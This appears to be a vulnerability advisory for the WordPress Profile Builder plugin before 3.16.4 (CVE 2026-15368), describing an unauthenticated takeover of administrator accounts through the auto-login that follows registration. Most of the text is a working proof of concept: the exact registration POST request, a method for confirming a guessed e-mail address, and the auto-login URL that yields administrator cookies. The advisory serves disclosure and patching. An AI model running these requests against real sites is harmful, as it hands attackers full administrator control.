Profile Builder < 3.16.4 – Unauthenticated Account Takeover via Auto-Login After Registration | CVE 2026-15368

Description

The plugin does not correctly bind the automatic login performed after user registration to the newly created account, allowing unauthenticated attackers to obtain an authenticated session for an arbitrary existing user, including administrators, on sites using a supported but non-default configuration.

Proof of Concept

Prerequisites (both are supported Profile Builder options, but neither is the default):
1. Settings: "Automatically log in after registration" = Yes.
2. A front-end registration form (a page containing the [wppb-register] shortcode) whose E-mail field has been removed, i.e. a username-only sign-up form. With the default form the E-mail field is present and WordPress rejects the registration as a duplicate e-mail before the auto-login runs, so the default form is not affected.

Also required: the attacker knows or guesses the target account's e-mail address. A guessed address can be confirmed offline against the unauthenticated /wp-json/wp/v2/users endpoint, which exposes sha256(lowercased e-mail) for each listed user.

Target below: administrator e-mail admin@victim.example, site https://victim.example/ with the registration page at /register/. All requests are unauthenticated (no cookies).

Step 1 - Fetch the registration page and read the public registration nonce from the form (the value of the register_<form>_nonce_field hidden input):
  GET https://victim.example/register/

Step 2 - Register a throwaway account, supplying the administrator's e-mail:
  POST https://victim.example/register/
  Content-Type: application/x-www-form-urlencoded

  username=atk123&passw1=Aa1!aaaaXYZ&passw2=Aa1!aaaaXYZ&email=admin@victim.example&action=register&form_name=unspecified&register_unspecified_nonce_field=<nonce>

  The response confirms the throwaway account was created and returns an auto-login URL of the form:
  https://victim.example/register/?autologin=true&uid=1&_wpnonce=<valid>
  Note that uid=1 is the administrator, not the throwaway account that was just created.

Step 3 - Follow the auto-login URL (still no cookies):
  GET https://victim.example/register/?autologin=true&uid=1&_wpnonce=<valid>
  The server responds with Set-Cookie for wordpress_logged_in_* / wordpress_sec_* bound to the administrator.

Step 4 - Confirm administrator access using those cookies:
  GET https://victim.example/wp-admin/profile.php
  The page loads as the administrator account (its user_login and e-mail), confirming a full administrator session obtained without any credentials.